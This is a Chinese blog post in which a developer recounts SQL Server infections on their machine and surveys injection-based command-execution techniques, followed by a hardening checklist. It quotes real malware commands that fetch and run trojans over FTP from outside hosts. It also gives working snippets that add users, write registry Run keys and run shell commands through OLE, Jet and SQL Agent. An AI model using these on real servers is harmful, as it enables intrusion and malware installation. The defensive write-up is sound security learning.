sqlserver注入方式与安全防护的学习
自己的开发机经历了两次的中毒现像.每次中毒的现像,都是sqlserver.exe进程去执行cmd.com进程,然后生成*.sys与*.bat两个文件,然后去使用ftp.exe去下载木马下载器,然后杀毒软件开始报警了. 下面是cmd.com执行指令内容 "C:"WINDOWS"system32"cmd.com" /c net1 s
自己的开发机经历了两次的中毒现像.每次中毒的现像,都是sqlserver.exe进程去执行cmd.com进程,然后生成*.sys与*.bat两个文件,然后去使用ftp.exe去下载木马下载器,然后杀毒软件开始报警了.下面是cmd.com执行指令内容
"C:"WINDOWS"system32"cmd.com" /c net1 stop sharedaccess&echo open 218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo 11>>dboy.sys&echo get pc.exe C:"boots.exe>>dboy.sys&echo bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy C:"boots.exeC:"WINDOWS"system32"inf"test.exe&echo start start /high "" C:"WINDOWS"system32"inf"test.exe&echo start C:"boots.exe>>dboy.bat&echo start C:"boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del %0>>dboy.bat&dboy.bat
"C:"WINDOWS"system32"cmd.com" /c sc stop sharedaccess&echo open ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo if>>dboy1.sys&echo get dboy1.exe C:"Windows"tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo ftp -s:dboy1.sys>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo del dboy1.sys>>system1.bat&echo del %0>>system1.bat&system1.bat
第一次中毒,之后,就对sql server进行了加强,删除了"xp_cmdshell"这个sql server中最不安全的扩展存储过程.不过,好了没一个月,又来中一次.
这一次,我检查了数据库日志,xp_cmdshell并没有恢复,不过却在日志在发现了sp_oacreate与sp_oamethod两个存储过程的执行日志.
于是上网学习,把自己的学习的一些东西记录下来:
1. 初级sql注入攻击
初级黑客攻击SQL Server时,首先采用的方法是执行master数据库中的扩展存储过程xp_cmdshell命令来执行一些指令,添加用户,添加文件,添加木马病毒等.
对付此类黑客只要禁用xp_cmdshell存储过程就可以了.
xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
Exec master..xp_cmdshell 'dir'
将获得SQLSERVER进程的当前工作目录中的目录列表。如图:
Exec master..xp_cmdshell 'net user'
将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。
从上面的两个示例中可以看出xp_cmdshell的强大功能,功能的强大也意味着破坏性的强大.
一般情况下,xp_cmdshell对管理员来说也是不必要的,xp_cmdshell的消除不会对Server造成任何影响。
可以将xp_cmdshell消除:
Use Master
Exec sp_dropextendedproc 'xp_cmdshell'
Go
如果需要的话,可以把xp_cmdshell恢复回来:
Use Master
Exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Go
如果有必要可以把xplog70.dll这个文件也删除了,记得做好备份.
sql 2005:
sql 2005默认情况下是不能执行xp_cmdshell存储过程的,但这就安全了吗?
开启xp_cmdshell存储过程的执行权限
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭xp_cmdshell存储过程的执行权限
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
删除了xplog70.dll将影响到"企业管理器"的一部分功能,我碰到的是无法在"企业管理器"中查看数据库服务器的属性.
2.中级sql注入攻击
我们进行了上面这一步的操作之后,就可以防护住了sql server的安全了吗?不行,这只能针对一些刚学习sql注入的菜鸟才可行的办法,对于中鸟及老鸟可不行,他们的方法可多了.
现在让我们来看一下中级注入的方法.
当数据库管理员禁用了xp_cmdshell同时删除了xplog70.dll,也禁止了文件上传功能,那么针对初级来说使用xp_cmdshell来进行一些操作已经不可行了.
但是微软还提供了一些其他功能的存储过程,可以让中级黑客进行入侵.
1) 利用OLE对象接口
SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,
可以利用他们调用OLE控件,间接获取一个 shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user hack hack /add'
2) 开启access的沙盒模式
在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,
但是开启了JET引擎的沙盒模式后就可以执行命令,
先利用xp_regwrite存储过程改写注册表,然后利用 OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare"Microsoft"Jet"4.0 "Engines','SandBoxMode','REG_DWORD',3
SandBoxmode值说明
默认值为2,
0--表示始终禁用SandBoxmode模式,
1--表示对于非Acess应用程序试用SandBoxmode模式,
2--表示对access应用程序使用SandBoxmode模式,
3--则表示完全开启安全设置。
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:"windows"system32"ias"ias.mdb','select shell("net user hack hack /add")');
3) 利用xp_regxxxxx之类的存储过程写注册表项
这个方法只有sa账户或是sysadmin权限的帐户才可以使用.
执行
exec xp_regread ''HKEY_LOCAL_MACHINE'', ''SECURITY"SAM"Domains"Account'', ''F''
如果碰到一个粗心的管理员,说不定就能得到管理员的密码.
加一个启动项什么的自然不在话下。
利用xp_regwrite写注册表项,直接把要执行的命令写入RUN启动项。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE"Microsoft"Windows"currentversion"run','shell','REG_SZ','C:"windows"system32"cmd.exe /c net user hack hack /add'
如果有必要就把这些扩展都删除了
Xp_regaddmultistring (向注册表中增加项目)
Xp_regdeletekey (从注册表中删除一个键)
Xp_regdeletevalue (从注册表中删除一个键值)
Xp_regenumvalues (列举主键下的键值)
Xp_regread (读去一个主键下的键值)
Xp_regremovemultistring (从注册表中删除项目)
Xp_regwrite (向注册表中写入数据)
4 ) 利用SQL代理执行命令
默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:"'
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'
除了我举的上面四种方式外,还有其他方式,不过我不太了解,我就不一一列举了。
三、其他获取系统信息
历遍目录
exec master.dbo.xp_dirtree 'c:"'
获取子目录
exec master.dbo.xp_subdirs 'c:"'
列举可用的系统分区
exec master.dbo.xp_availablemedia
判断目录或文件是否存在
exec master..xp_fileexist 'c:"boot.ini'
等等,不一一列举了.
四、高级注入技术
对于高级注入技术,我在网上没找到相关的学习资料,我想这些技术也应该是在一小部分人群中传播的。所以也就无从讲起了。
五、防御SQL注入的一些要点与方法
1. 确认已经安装了windows操作系统和SQL Server的最新补丁程序。
2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异种的环境中使用。
说明:如果可能请除去不需要的网络协议。
3. 给 "sa" 和具有"sysadmin"权限的帐户设定强壮的密码来加强其安全性。至于什么是强壮的密码呢,个人认为是字母、数字、特殊字符的组合,不少八位字符。
4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用 LocalSystem 或sa。
这个低权限的帐户应该只有最小的权限和限制这个帐户对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非必须不要给予多余的权限。
注意:当使用企业管理器做以上设置时 , 文件,注册表和使用者权利上的权限处理。
5. 确定所有的SQL服务器数据,而且系统文件是装置在 NTFS 分区,且"目录访问控制"被应用。
如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。
6.如果你不需要 xp_cmdshell 那请停用它。如果需要的话再把它增加回来。
其实这也好也不好 ————一个侵入者如果发现它不在了,也只需要把他加回来。考虑一下,可以除去在下面的 dll但是移除之前必须测试因为有些dll同时被一些程序所用。
要找到其他的程序是否使用相同的 dll请进行以下步骤:
首先得到该 dll:
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name=‘xp_cmdshell‘
其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll:
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text=‘xplog70.dll‘
用户可以用同样的办法处理下面步骤中其他你想去掉的进程。
7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 - 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失). 这些存储过程如下:
sp_OACreate
sp_OADestroy
sp_OAGetErrorInfo
sp_OAGetProperty
sp_OAMethod
sp_OASetProperty
sp_OAStop
如果你决定停用这些存储过程,那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。
8. 禁用你不需要的注册表存储过程。(同上面的警告)这些包括:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumvalues
xp_regremovemultistring
注意 :xp_regread/ xp_regwrite这两个存储过程的移除影响一些主要功能包括日志和SP的安装,所以他们的移除不被推荐。
9.移除其他你认为会造成威胁的系统储存过程。 这种存储过程是相当多的,而且他们也会浪费一些cpu时间。
小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试,确认这样不会影响到任何的系统功能。在下面是我们所推荐的有待你评估的一些列表:
sp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree
10. 除去数据库的guest账户,这样可以把未经许可的使用者排除在外。 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。
11. 若非必须,请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans ,病毒或是简单实现一个DOS攻击成为可能
12. 记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:
xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE" Microsoft"MSSQLServer"MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3
13. 建立一个计划的任务运行:
然后再重定向输出到一个文本文件或电子邮件,因此你监测失败的登录尝试。
这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三者工具。
注意: 你可能需要将路径换成你安装SQL的路径。
14. 设定非法访问和登陆失败日志警报。到 企业管理器中的"Manager SQL Server Messages "搜寻任何有关无权访问的消息
( 从查找"login failed"和"denied"开始). 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 , 发送一个电子邮件或信息到一个能够对问题及时响应的操作员。
15. 经常检查组或角色全体会员并且确定用组分配权限,这样你的审计工作能够简化。 确定当你在的时候 , 公众的组不能从系统表执行选择操作。
16. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:
select
password ,*
from syslogins
where password is null
order by name
17. 检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限:
Use master
select sysobjects.name
from sysobjects,sysprotects
where sysprotects.uid=0
AND xtype 在 (‘X‘,‘P‘)
AND sysobjects.id=sysprotects.id
Order by name
18. 当时用企业管理器的时候,使用整合的安全策略。 过去,企业管理器被发现在标准的安全模态中储存 "sa" 密码在注册表的 plaintext 中。 注意: 即使你改变模态,密码也会留在注册表中。
sql 2000:
HKEY_USERS"{yourSID}"software"Microsoft"Microsoft SQL server"80"tool"SQLEW"registered server X"SQL server group
("SQL server组" 是默认值但是你可能已建立用户组因此相应地改变其位置)
sql 2005已经没有在注册表中写sqlew这个键了.
19. 制定一个安全审核计划,每月的一份安全报告,对IT主管可用的报表包括新的开发内容中进行的数据库修改,成功的攻击 , 备份保护 , 和对象存取失败统计。
20. 不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。 一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。
最后就是,对方怎么得到我的开发机上的动态IP的,这我怎么也没想清楚.

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











가져오기 단계는 다음과 같습니다. MDF 파일을 SQL Server의 데이터 디렉터리(일반적으로 C:\Program Files\Microsoft SQL Server\MSSQL\DATA)에 복사합니다. SSMS(SQL Server Management Studio)에서 데이터베이스를 열고 연결을 선택합니다. 추가 버튼을 클릭하고 MDF 파일을 선택합니다. 데이터베이스 이름을 확인하고 확인 버튼을 클릭합니다.

SQL Server 데이터베이스에 이미 존재하는 동일한 이름을 가진 개체의 경우 다음 단계를 수행해야 합니다. 개체 유형(테이블, 뷰, 저장 프로시저)을 확인합니다. IF NOT EXISTS를 사용하면 객체가 비어 있는 경우 생성을 건너뛸 수 있습니다. 개체에 데이터가 있는 경우 다른 이름을 사용하거나 구조를 수정하세요. 기존 개체를 삭제하려면 DROP을 사용하세요. 주의하세요. 백업을 권장합니다. 삭제되거나 이름이 바뀐 개체에 대한 참조가 없는지 확인하려면 스키마 변경 사항을 확인하세요.

SQL Server 서비스가 시작되지 않는 경우 해결해야 할 몇 가지 단계는 다음과 같습니다. 오류 로그를 확인하여 근본 원인을 확인합니다. 서비스 계정에 서비스를 시작할 수 있는 권한이 있는지 확인하세요. 종속성 서비스가 실행 중인지 확인하세요. 바이러스 백신 소프트웨어를 비활성화합니다. SQL Server 설치를 복구합니다. 복구가 작동하지 않으면 SQL Server를 다시 설치하십시오.

SQL Server 포트 번호를 보려면 SSMS를 열고 서버에 연결합니다. 개체 탐색기에서 서버 이름을 찾아 마우스 오른쪽 단추로 클릭하고 속성을 선택합니다. 연결 탭에서 TCP 포트 필드를 확인하세요.

실수로 SQL Server 데이터베이스를 삭제한 경우 다음 단계를 수행하여 복구할 수 있습니다. 데이터베이스 활동 중지, 데이터베이스 로그 확인, 백업에서 복원, DBCC CHECKDB 사용 파티 도구. 데이터 손실을 방지하려면 데이터베이스를 정기적으로 백업하고 트랜잭션 로깅을 활성화하십시오.

SQL Server 데이터베이스 파일은 일반적으로 다음 기본 위치에 저장됩니다. Windows: C:\Program Files\Microsoft SQL Server\MSSQL\DATALinux: /var/opt/mssql/data 데이터베이스 파일 경로를 수정하여 데이터베이스 파일 위치를 사용자 정의할 수 있습니다. 환경.

이 AI 지원 프로그래밍 도구는 급속한 AI 개발 단계에서 유용한 AI 지원 프로그래밍 도구를 많이 발굴했습니다. AI 지원 프로그래밍 도구는 개발 효율성을 높이고, 코드 품질을 향상시키며, 버그 발생률을 줄일 수 있습니다. 이는 현대 소프트웨어 개발 프로세스에서 중요한 보조자입니다. 오늘 Dayao는 4가지 AI 지원 프로그래밍 도구(모두 C# 언어 지원)를 공유하겠습니다. 이 도구가 모든 사람에게 도움이 되기를 바랍니다. https://github.com/YSGStudyHards/DotNetGuide1.GitHubCopilotGitHubCopilot은 더 빠르고 적은 노력으로 코드를 작성하는 데 도움이 되는 AI 코딩 도우미이므로 문제 해결과 협업에 더 집중할 수 있습니다. 힘내

SQL Server 설치가 실패하면 다음 단계에 따라 정리할 수 있습니다. SQL Server 제거 레지스트리 키 삭제 파일 및 폴더 삭제 컴퓨터를 다시 시작합니다.
